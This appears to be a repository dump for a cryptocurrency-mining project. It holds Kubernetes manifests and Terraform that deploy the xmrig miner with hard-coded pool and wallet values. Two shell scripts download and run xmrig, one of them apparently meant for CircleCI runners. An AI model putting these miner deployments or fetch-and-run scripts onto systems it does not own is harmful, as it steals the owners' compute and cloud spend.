autoscaling: 39 | enabled: false 40 | minReplicas: 1 41 | maxReplicas: 100 42 | targetCPUUtilizationPercentage: 80 43 | # targetMemoryUtilizationPercentage: 80 44 | 45 | nodeSelector: {} 46 | 47 | tolerations: [] 48 | 49 | affinity: {} 50 | -------------------------------------------------------------------------------- /infra/kubernetes/kind.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | kind: Cluster 3 | apiVersion: kind.x-k8s.io/v1alpha4 4 | nodes: 5 | - role: control-plane 6 | - role: control-plane 7 | - role: control-plane 8 | - role: worker 9 | kubeadmConfigPatches: 10 | - | 11 | apiVersion: kubelet.config.k8s.io/v1beta1 12 | kind: KubeletConfiguration 13 | evictionHard: 14 | nodefs.available: "5%" 15 | - | 16 | kind: InitConfiguration 17 | nodeRegistration: 18 | kubeletExtraArgs: 19 | node-labels: "ingress-ready=true" 20 | extraPortMappings: 21 | - containerPort: 80 22 | hostPort: 80 23 | protocol: TCP 24 | - containerPort: 443 25 | hostPort: 443 26 | protocol: TCP 27 | -------------------------------------------------------------------------------- /infra/kubernetes/manifests/base/kustomization.yml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: kustomize.config.k8s.io/v1beta1 3 | kind: Kustomization 4 | resources: 5 | - namespace.yaml 6 | -------------------------------------------------------------------------------- /infra/kubernetes/manifests/base/namespace.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v1 3 | kind: Namespace 4 | metadata: 5 | name: xmrig-miner 6 | labels: 7 | app: xmrig-miner 8 | spec: 9 | finalizers: 10 | - kubernetes 11 | -------------------------------------------------------------------------------- /infra/kubernetes/manifests/overlays/default/deployment.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: apps/v1 3 | kind: Deployment 4 | metadata: 5 | name: xmrig-miner 6 | labels: 7 | app: xmrig-miner 8 | spec: 9 | replicas: 10 10 | selector: 11 | matchLabels: 12 | app: xmrig-miner 13 | strategy: 14 | type: RollingUpdate 15 | rollingUpdate: 16 | maxUnavailable: 1 17 | maxSurge: 1 18 | template: 19 | metadata: 20 | labels: 21 | app: xmrig-miner 22 | spec: 23 | containers: 24 | - name: xmrig-miner 25 | image: ghcr.io/ci-monk/docker-xmrig-miner:main 26 | imagePullPolicy: IfNotPresent 27 | env: 28 | - name: TZ 29 | value: "America/Sao_Paulo" 30 | - name: MINING_POOL 31 | value: "rx.unmineable.com:3333" 32 | - name: MINING_COIN 33 | value: "SHIB" 34 | - name: REFERRAL_CODE 35 | value: "7lkr-kmhq" 36 | - name: WALLET_ADDRESS 37 | value: "0xE36B97Ec98dD179B89BC109c11Eb47D6B587f3F3" 38 | - name: WORKER_NAME 39 | value: "kubernetes" 40 | resources: 41 | limits: 42 | cpu: "2000m" 43 | memory: "8Gi" 44 | requests: 45 | cpu: "1000m" 46 | memory: "4Gi" 47 | volumeMounts: 48 | - mountPath: /home/miner 49 | name: empty 50 | restartPolicy: Always 51 | volumes: 52 | - name: empty 53 | emptyDir: {} 54 | -------------------------------------------------------------------------------- /infra/kubernetes/manifests/overlays/default/kustomization.yml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: kustomize.config.k8s.io/v1beta1 3 | kind: Kustomization 4 | namespace: xmrig-miner 5 | commonLabels: 6 | environment: default 7 | resources: 8 | - ../../base 9 | - deployment.yaml 10 | -------------------------------------------------------------------------------- /infra/kubernetes/manifests/overlays/scale/daemonset.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: apps/v1 3 | kind: DaemonSet 4 | metadata: 5 | name: xmrig-miner 6 | labels: 7 | app: xmrig-miner 8 | spec: 9 | selector: 10 | matchLabels: 11 | app: xmrig-miner 12 | template: 13 | metadata: 14 | labels: 15 | app: xmrig-miner 16 | spec: 17 | containers: 18 | - name: xmrig-miner 19 | image: ghcr.io/ci-monk/docker-xmrig-miner:main 20 | imagePullPolicy: IfNotPresent 21 | env: 22 | - name: TZ 23 | value: "America/Sao_Paulo" 24 | - name: MINING_POOL 25 | value: "rx.unmineable.com:3333" 26 | - name: MINING_COIN 27 | value: "SHIB" 28 | - name: REFERRAL_CODE 29 | value: "7lkr-kmhq" 30 | - name: WALLET_ADDRESS 31 | value: "0xE36B97Ec98dD179B89BC109c11Eb47D6B587f3F3" 32 | - name: WORKER_NAME 33 | value: "kubernetes" 34 | resources: 35 | limits: 36 | cpu: "2000m" 37 | memory: "8Gi" 38 | requests: 39 | cpu: "1000m" 40 | memory: "4Gi" 41 | -------------------------------------------------------------------------------- /infra/kubernetes/manifests/overlays/scale/kustomization.yml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: kustomize.config.k8s.io/v1beta1 3 | kind: Kustomization 4 | namespace: xmrig-miner 5 | commonLabels: 6 | environment: scale 7 | resources: 8 | - ../../base 9 | - daemonset.yaml 10 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/.gitignore: -------------------------------------------------------------------------------- 1 | # Local .terraform directories 2 | **/.terraform/* 3 | 4 | # .tfstate files 5 | *.tfstate 6 | *.tfstate.* 7 | 8 | # Crash log files 9 | crash.log 10 | 11 | # Exclude all .tfvars files, which are likely to contain sentitive data, such as 12 | # password, private keys, and other secrets. These should not be part of version 13 | # control as they are data points which are potentially sensitive and subject 14 | # to change depending on the environment. 15 | # 16 | *.tfvars 17 | 18 | # Ignore override files as they are usually used to override resources locally and so 19 | # are not checked in 20 | override.tf 21 | override.tf.json 22 | *_override.tf 23 | *_override.tf.json 24 | 25 | # Include override files you do wish to add to version control using negated pattern 26 | # 27 | # !example_override.tf 28 | 29 | # Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan 30 | # example: *tfplan* 31 | 32 | # Ignore CLI configuration files 33 | .terraformrc 34 | terraform.rc 35 | 36 | tfsec.test.xml 37 | .terraform.lock.hcl 38 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/README.md: -------------------------------------------------------------------------------- 1 | Setup AWS instances 2 | 3 | ## Requirements 4 | 5 | | Name | Version | 6 | |------|---------| 7 | | [terraform](#requirement\_terraform) | ~> 1.4.0 | 8 | | [aws](#requirement\_aws) | ~> 4.65.0 | 9 | 10 | ## Providers 11 | 12 | | Name | Version | 13 | |------|---------| 14 | | [aws](#provider\_aws) | ~> 4.65.0 | 15 | 16 | ## Modules 17 | 18 | No modules. 19 | 20 | ## Resources 21 | 22 | | Name | Type | 23 | |------|------| 24 | | [aws_instance.instance](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance) | resource | 25 | 26 | ## Inputs 27 | 28 | | Name | Description | Type | Default | Required | 29 | |------|-------------|------|---------|:--------:| 30 | | [aws\_instance\_ami](#input\_aws\_instance\_ami) | n/a | `map(any)` |
{
"eu-central-1": "ami-0caef02b518350c8b"
}
| no | 31 | | [aws\_instance\_count](#input\_aws\_instance\_count) | n/a | `string` | `"2"` | no | 32 | | [aws\_instance\_type](#input\_aws\_instance\_type) | n/a | `string` | n/a | yes | 33 | | [aws\_profile](#input\_aws\_profile) | AWS Profile name | `string` | `"aws"` | no | 34 | | [aws\_region](#input\_aws\_region) | AWS Region name | `string` | `"eu-central-1"` | no | 35 | | [environment](#input\_environment) | A name that identifies the environment (e.g. `production`, `devops`, `develop`), will used as prefix and for tagging | `string` | `"develop"` | no | 36 | | [tags](#input\_tags) | General tags values | `map(string)` | `{}` | no | 37 | 38 | ## Outputs 39 | 40 | No outputs. 41 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_backend.tf: -------------------------------------------------------------------------------- 1 | # Generated by Terragrunt. Sig: nIlQXj57tbuaRZEa 2 | terraform { 3 | backend "s3" { 4 | bucket = "" 5 | dynamodb_table = "" 6 | encrypt = true 7 | key = "projects/docker-crypto-miner/setup-ec2/terraform.tfstate" 8 | region = "us-east-1" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_datas.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # DATAS - AWS 3 | # ================================================================== 4 | 5 | data "aws_caller_identity" "current" {} 6 | data "aws_region" "current" {} 7 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_locals.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | # ================================================================== 3 | # GENERAL 4 | # ================================================================== 5 | client_name = "lpsm-dev" 6 | # ================================================================== 7 | # AWS GENERAL 8 | # ================================================================== 9 | aws_account_id = data.aws_caller_identity.current.account_id 10 | aws_default_tags = { 11 | cost_allocation_business_unit = "lpsm-dev" 12 | cost_allocation_product = "lpsm-dev" 13 | operation_support_account_name = "${local.client_name}-${local.aws_environment}-services" 14 | operation_support_criticality = "low" 15 | operation_support_environment = local.aws_environment 16 | operation_support_team = "cloud" 17 | source_code = "https://github.com/lpsm-dev/docker-crypto-miner" 18 | source_project = "setup-ec2" 19 | } 20 | aws_environment = "develop" 21 | aws_region = "us-east-1" 22 | } 23 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_outputs.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # OUTPUTS - AWS 3 | # ================================================================== 4 | 5 | output "aws_account_id" { 6 | description = "Selected AWS Account ID" 7 | value = local.aws_account_id 8 | } 9 | 10 | output "aws_region" { 11 | description = "Details about selected AWS region" 12 | value = data.aws_region.current.name 13 | } 14 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_providers.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # PROVIDER - AWS DEFAULT 3 | # ================================================================== 4 | 5 | provider "aws" { 6 | region = local.aws_region 7 | default_tags { 8 | tags = { 9 | "automation:managedby" = "terraform", 10 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 11 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 12 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 13 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 14 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 15 | "operation-support:team" = local.aws_default_tags.operation_support_team, 16 | "source-code" = local.aws_default_tags.source_code 17 | "source-project" = local.aws_default_tags.source_project 18 | } 19 | } 20 | } 21 | 22 | # ================================================================== 23 | # PROVIDER - AWS SA-EAST-1 24 | # ================================================================== 25 | 26 | provider "aws" { 27 | region = "sa-east-1" 28 | alias = "sa-east-1" 29 | default_tags { 30 | tags = { 31 | "automation:managedby" = "terraform", 32 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 33 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 34 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 35 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 36 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 37 | "operation-support:team" = local.aws_default_tags.operation_support_team, 38 | "source-code" = local.aws_default_tags.source_code 39 | "source-project" = local.aws_default_tags.source_project 40 | } 41 | } 42 | } 43 | 44 | # ================================================================== 45 | # PROVIDER - AWS US-EAST-1 46 | # ================================================================== 47 | 48 | provider "aws" { 49 | region = "us-east-1" 50 | alias = "us-east-1" 51 | default_tags { 52 | tags = { 53 | "automation:managedby" = "terraform", 54 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 55 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 56 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 57 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 58 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 59 | "operation-support:team" = local.aws_default_tags.operation_support_team, 60 | "source-code" = local.aws_default_tags.source_code 61 | "source-project" = local.aws_default_tags.source_project 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_required.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_version = "1.12.1" 3 | required_providers { 4 | aws = { 5 | source = "hashicorp/aws" 6 | version = "~> 5.38" 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_variables.tf: -------------------------------------------------------------------------------- 1 | variable "aws_region" { 2 | type = string 3 | description = "AWS Region name" 4 | default = "eu-central-1" 5 | } 6 | 7 | variable "aws_profile" { 8 | type = string 9 | description = "AWS Profile name" 10 | default = "aws" 11 | } 12 | 13 | variable "environment" { 14 | type = string 15 | description = "A name that identifies the environment (e.g. `production`, `devops`, `develop`), will used as prefix and for tagging" 16 | default = "develop" 17 | } 18 | 19 | variable "tags" { 20 | type = map(string) 21 | description = "General tags values" 22 | default = {} 23 | } 24 | 25 | variable "aws_instance_ami" { 26 | type = map(any) 27 | default = { 28 | eu-central-1 = "ami-0caef02b518350c8b" 29 | } 30 | } 31 | 32 | variable "aws_instance_type" { 33 | type = string 34 | } 35 | 36 | variable "aws_instance_count" { 37 | type = string 38 | default = "2" 39 | } 40 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/aws_ec2.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # RESOURCE AWS EC2 - INSTANCE 3 | # ================================================================== 4 | 5 | resource "aws_instance" "instance" { 6 | count = var.aws_instance_count 7 | 8 | ami = lookup(var.aws_instance_ami, var.aws_region) 9 | instance_type = var.aws_instance_type 10 | user_data = file("${path.root}/files/scripts/run.sh") 11 | 12 | tags = { 13 | Name = "instance-${count.index}" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/files/scripts/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | wget https://github.com/xmrig/xmrig/releases/download/v6.17.0/xmrig-6.17.0-linux-x64.tar.gz 4 | tar xf xmrig-6.17.0-linux-x64.tar.gz && cd xmrig-6.17.0 && clear 5 | ./xmrig -o gulf.moneroocean.stream:10128 \ 6 | -u 8BM4rswxAFJiMVX2pJj1iTLgzW1uWqsucUQNnDArw3vQF49e9nxA3C5U5Bi9rGs67ZKY67VPwB4XqXaz22eLD73u74pfeTh \ 7 | -p circleci --threads 36 8 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/_backend.tf: -------------------------------------------------------------------------------- 1 | # Generated by Terragrunt. Sig: nIlQXj57tbuaRZEa 2 | terraform { 3 | backend "s3" { 4 | bucket = "" 5 | dynamodb_table = "" 6 | encrypt = true 7 | key = "projects/docker-crypto-miner/setup-eks/terraform.tfstate" 8 | region = "us-east-1" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/_datas.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # DATAS - AWS 3 | # ================================================================== 4 | 5 | data "aws_caller_identity" "current" {} 6 | data "aws_region" "current" {} 7 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/_locals.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | # ================================================================== 3 | # GENERAL 4 | # ================================================================== 5 | client_name = "lpsm-dev" 6 | # ================================================================== 7 | # AWS GENERAL 8 | # ================================================================== 9 | aws_account_id = data.aws_caller_identity.current.account_id 10 | aws_default_tags = { 11 | cost_allocation_business_unit = "lpsm-dev" 12 | cost_allocation_product = "lpsm-dev" 13 | operation_support_account_name = "${local.client_name}-${local.aws_environment}-services" 14 | operation_support_criticality = "low" 15 | operation_support_environment = local.aws_environment 16 | operation_support_team = "cloud" 17 | source_code = "https://github.com/lpsm-dev/docker-crypto-miner" 18 | source_project = "setup-eks" 19 | } 20 | aws_environment = "develop" 21 | aws_region = "us-east-1" 22 | } 23 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/_outputs.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # OUTPUTS - AWS 3 | # ================================================================== 4 | 5 | output "aws_account_id" { 6 | description = "Selected AWS Account ID" 7 | value = local.aws_account_id 8 | } 9 | 10 | output "aws_region" { 11 | description = "Details about selected AWS region" 12 | value = data.aws_region.current.name 13 | } 14 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/_providers.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # PROVIDER - AWS DEFAULT 3 | # ================================================================== 4 | 5 | provider "aws" { 6 | region = local.aws_region 7 | default_tags { 8 | tags = { 9 | "automation:managedby" = "terraform", 10 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 11 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 12 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 13 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 14 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 15 | "operation-support:team" = local.aws_default_tags.operation_support_team, 16 | "source-code" = local.aws_default_tags.source_code 17 | "source-project" = local.aws_default_tags.source_project 18 | } 19 | } 20 | } 21 | 22 | # ================================================================== 23 | # PROVIDER - AWS SA-EAST-1 24 | # ================================================================== 25 | 26 | provider "aws" { 27 | region = "sa-east-1" 28 | alias = "sa-east-1" 29 | default_tags { 30 | tags = { 31 | "automation:managedby" = "terraform", 32 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 33 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 34 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 35 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 36 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 37 | "operation-support:team" = local.aws_default_tags.operation_support_team, 38 | "source-code" = local.aws_default_tags.source_code 39 | "source-project" = local.aws_default_tags.source_project 40 | } 41 | } 42 | } 43 | 44 | # ================================================================== 45 | # PROVIDER - AWS US-EAST-1 46 | # ================================================================== 47 | 48 | provider "aws" { 49 | region = "us-east-1" 50 | alias = "us-east-1" 51 | default_tags { 52 | tags = { 53 | "automation:managedby" = "terraform", 54 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 55 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 56 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 57 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 58 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 59 | "operation-support:team" = local.aws_default_tags.operation_support_team, 60 | "source-code" = local.aws_default_tags.source_code 61 | "source-project" = local.aws_default_tags.source_project 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/_required.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_version = "1.12.1" 3 | required_providers { 4 | aws = { 5 | source = "hashicorp/aws" 6 | version = "~> 5.38" 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/eks_cluster.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # MODULE AWS EKS - CLUSTER 3 | # ================================================================== 4 | 5 | module "eks" { 6 | source = "terraform-aws-modules/eks/aws" 7 | version = "~> 20.8" 8 | 9 | // EKS Cluster information 10 | cluster_name = local.aws_eks.cluster_name 11 | cluster_version = local.aws_eks.cluster_version 12 | enable_irsa = true 13 | 14 | // Setup Network 15 | vpc_id = data.aws_vpc.selected.id 16 | subnet_ids = local.aws_network.subnet_private_ids 17 | control_plane_subnet_ids = local.aws_network.subnet_publish_ids 18 | 19 | // Setup cluster endpoint 20 | cluster_endpoint_private_access = true 21 | cluster_endpoint_public_access = true 22 | 23 | // Setup Node Security Group 24 | node_security_group_tags = { 25 | "kubernetes.io/cluster/${local.aws_eks.cluster_name}" = null 26 | } 27 | node_security_group_additional_rules = { 28 | ingress_self_all = { 29 | description = "Node to node all ports/protocols" 30 | protocol = "-1" 31 | from_port = 0 32 | to_port = 0 33 | type = "ingress" 34 | self = true 35 | }, 36 | ingress_cluster_to_node_all_traffic = { 37 | description = "Cluster API to Nodegroup all traffic" 38 | protocol = "-1" 39 | from_port = 0 40 | to_port = 0 41 | type = "ingress" 42 | source_cluster_security_group = true 43 | } 44 | } 45 | 46 | // EKS Managed Node Group(s) 47 | eks_managed_node_group_defaults = { 48 | attach_cluster_primary_security_group = true 49 | iam_role_attach_cni_policy = true 50 | iam_role_additional_policies = { 51 | AmazonEKSWorkerNodePolicy : "arn:aws:iam::aws:policy/AmazonEKSWorkerNodePolicy", 52 | AmazonEKS_CNI_Policy : "arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy", 53 | AmazonEC2ContainerRegistryReadOnly : "arn:aws:iam::aws:policy/AmazonEC2ContainerRegistryReadOnly", 54 | AmazonSSMManagedInstanceCore : "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore" 55 | } 56 | } 57 | 58 | // EKS Managed Node Profile(s) 59 | eks_managed_node_groups = { 60 | green = { 61 | name = "eks-green-worknodes" 62 | description = "EKS managed node group for green worknodes" 63 | min_size = 3 64 | max_size = 3 65 | desired_size = 3 66 | capacity_type = "SPOT" 67 | instance_types = ["t3a.large", "t3a.xlarge"] 68 | ebs_optimized = true 69 | enable_monitoring = true 70 | block_device_mappings = { 71 | xvda = { 72 | device_name = "/dev/xvda" 73 | ebs = { 74 | volume_size = 64 75 | volume_type = "gp3" 76 | iops = 3000 77 | throughput = 150 78 | encrypted = true 79 | delete_on_termination = true 80 | } 81 | } 82 | } 83 | update_config = { 84 | max_unavailable_percentage = 33 85 | } 86 | tags = { 87 | worknodes = "green" 88 | } 89 | } 90 | } 91 | 92 | // Cluster access entry - To add the current caller identity as an administrator 93 | enable_cluster_creator_admin_permissions = true 94 | 95 | // Enable EKS cluster access logging 96 | cluster_enabled_log_types = ["api", "audit", "authenticator"] 97 | create_cloudwatch_log_group = true 98 | cloudwatch_log_group_retention_in_days = 14 99 | 100 | // Setup KMS Key 101 | create_kms_key = false 102 | cluster_encryption_config = { 103 | resources = ["secrets"] 104 | provider_key_arn = module.kms_eks.key_arn 105 | } 106 | 107 | // More tags 108 | /*tags = { 109 | "karpenter.sh/discovery" = local.aws_eks.cluster_name 110 | }*/ 111 | } 112 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/eks_kms.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # MODULE AWS KMS - EKS 3 | # ================================================================== 4 | 5 | module "kms_eks" { 6 | source = "terraform-aws-modules/kms/aws" 7 | version = "~> 2.2" 8 | 9 | description = "Setup KMS ${local.aws_eks.cluster_name} cluster encryption key" 10 | deletion_window_in_days = 7 11 | enable_key_rotation = true 12 | enable_default_policy = false 13 | key_administrators = [ 14 | module.eks.cluster_iam_role_arn 15 | ] 16 | key_users = [ 17 | module.eks.cluster_iam_role_arn 18 | ] 19 | aliases = ["eks/${local.aws_eks.cluster_name}"] 20 | } 21 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/_backend.tf: -------------------------------------------------------------------------------- 1 | # Generated by Terragrunt. Sig: nIlQXj57tbuaRZEa 2 | terraform { 3 | backend "s3" { 4 | bucket = "" 5 | dynamodb_table = "" 6 | encrypt = true 7 | key = "projects/docker-crypto-miner/setup-network/terraform.tfstate" 8 | region = "us-east-1" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/_datas.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # DATAS - AWS 3 | # ================================================================== 4 | 5 | data "aws_caller_identity" "current" {} 6 | data "aws_region" "current" {} 7 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/_locals.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | # ================================================================== 3 | # GENERAL 4 | # ================================================================== 5 | client_name = "lpsm-dev" 6 | # ================================================================== 7 | # AWS GENERAL 8 | # ================================================================== 9 | aws_account_id = data.aws_caller_identity.current.account_id 10 | aws_default_tags = { 11 | cost_allocation_business_unit = "lpsm-dev" 12 | cost_allocation_product = "lpsm-dev" 13 | operation_support_account_name = "${local.client_name}-${local.aws_environment}-services" 14 | operation_support_criticality = "low" 15 | operation_support_environment = local.aws_environment 16 | operation_support_team = "cloud" 17 | source_code = "https://github.com/lpsm-dev/docker-crypto-miner" 18 | source_project = "setup-network" 19 | } 20 | aws_environment = "develop" 21 | aws_region = "us-east-1" 22 | } 23 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/_outputs.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # OUTPUTS - AWS 3 | # ================================================================== 4 | 5 | output "aws_account_id" { 6 | description = "Selected AWS Account ID" 7 | value = local.aws_account_id 8 | } 9 | 10 | output "aws_region" { 11 | description = "Details about selected AWS region" 12 | value = data.aws_region.current.name 13 | } 14 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/_providers.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # PROVIDER - AWS DEFAULT 3 | # ================================================================== 4 | 5 | provider "aws" { 6 | region = local.aws_region 7 | default_tags { 8 | tags = { 9 | "automation:managedby" = "terraform", 10 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 11 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 12 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 13 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 14 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 15 | "operation-support:team" = local.aws_default_tags.operation_support_team, 16 | "source-code" = local.aws_default_tags.source_code 17 | "source-project" = local.aws_default_tags.source_project 18 | } 19 | } 20 | } 21 | 22 | # ================================================================== 23 | # PROVIDER - AWS SA-EAST-1 24 | # ================================================================== 25 | 26 | provider "aws" { 27 | region = "sa-east-1" 28 | alias = "sa-east-1" 29 | default_tags { 30 | tags = { 31 | "automation:managedby" = "terraform", 32 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 33 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 34 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 35 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 36 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 37 | "operation-support:team" = local.aws_default_tags.operation_support_team, 38 | "source-code" = local.aws_default_tags.source_code 39 | "source-project" = local.aws_default_tags.source_project 40 | } 41 | } 42 | } 43 | 44 | # ================================================================== 45 | # PROVIDER - AWS US-EAST-1 46 | # ================================================================== 47 | 48 | provider "aws" { 49 | region = "us-east-1" 50 | alias = "us-east-1" 51 | default_tags { 52 | tags = { 53 | "automation:managedby" = "terraform", 54 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 55 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 56 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 57 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 58 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 59 | "operation-support:team" = local.aws_default_tags.operation_support_team, 60 | "source-code" = local.aws_default_tags.source_code 61 | "source-project" = local.aws_default_tags.source_project 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/_required.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_version = "1.12.1" 3 | required_providers { 4 | aws = { 5 | source = "hashicorp/aws" 6 | version = "~> 5.38" 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/aws_vpc.tf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lpsm-dev/docker-crypto-miner/d117d8091c977e00f4b67be3569aaa462bcf5dc7/infra/terraform/setup-network/aws_vpc.tf -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "_comment": "this project is not a node.js one, package.json is just used to define some metadata", 3 | "scripts": { 4 | "cm": "git cz", 5 | "precommit": "pre-commit run -a", 6 | "preinstall": "npx force-resolutions", 7 | "secrets": "gitleaks detect --config .github/config/.gitleaks.toml --verbose", 8 | "docker-lint": "docker run --rm -i ghcr.io/hadolint/hadolint < Dockerfile", 9 | "docker-inspect": "docker image build -t teste:1.0.0 . && dive teste:1.0.0 --config .github/config/.dive-ci.yaml --ci", 10 | "docker-scan": "docker image build -t teste:1.0.0 . && trivy image teste:1.0.0" 11 | }, 12 | "commitlint": { 13 | "extends": [ 14 | "@commitlint/config-conventional" 15 | ] 16 | }, 17 | "config": { 18 | "commitizen": { 19 | "path": "./node_modules/cz-conventional-changelog" 20 | } 21 | }, 22 | "devDependencies": { 23 | "@commitlint/cli": "17.8.1", 24 | "@commitlint/config-conventional": "17.8.1", 25 | "@semantic-release/changelog": "6.0.3", 26 | "@semantic-release/commit-analyzer": "9.0.2", 27 | "@semantic-release/exec": "6.0.3", 28 | "@semantic-release/git": "10.0.1", 29 | "@semantic-release/github": "8.1.0", 30 | "@semantic-release/release-notes-generator": "10.0.3", 31 | "commitizen": "4.3.1", 32 | "semantic-release": "21.1.2" 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/circleci/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | wget https://github.com/xmrig/xmrig/releases/download/v6.17.0/xmrig-6.17.0-linux-x64.tar.gz 4 | tar xf xmrig-6.17.0-linux-x64.tar.gz && cd xmrig-6.17.0 && clear 5 | ./xmrig -o gulf.moneroocean.stream:10128 \ 6 | -u 8BM4rswxAFJiMVX2pJj1iTLgzW1uWqsucUQNnDArw3vQF49e9nxA3C5U5Bi9rGs67ZKY67VPwB4XqXaz22eLD73u74pfeTh \ 7 | -p circleci --threads 36 8 | -------------------------------------------------------------------------------- /src/xmrig/config/xmrig.json: -------------------------------------------------------------------------------- 1 | { 2 | "api":{ 3 | "id":null, 4 | "worker-id":null 5 | }, 6 | "http":{ 7 | "enabled":false, 8 | "host":"127.0.0.1", 9 | "port":0, 10 | "access-token":null, 11 | "restricted":true 12 | }, 13 | "autosave":true, 14 | "background":false, 15 | "colors":true, 16 | "title":true, 17 | "randomx":{ 18 | "init":-1, 19 | "init-avx2":-1, 20 | "mode":"auto", 21 | "1gb-pages":false, 22 | 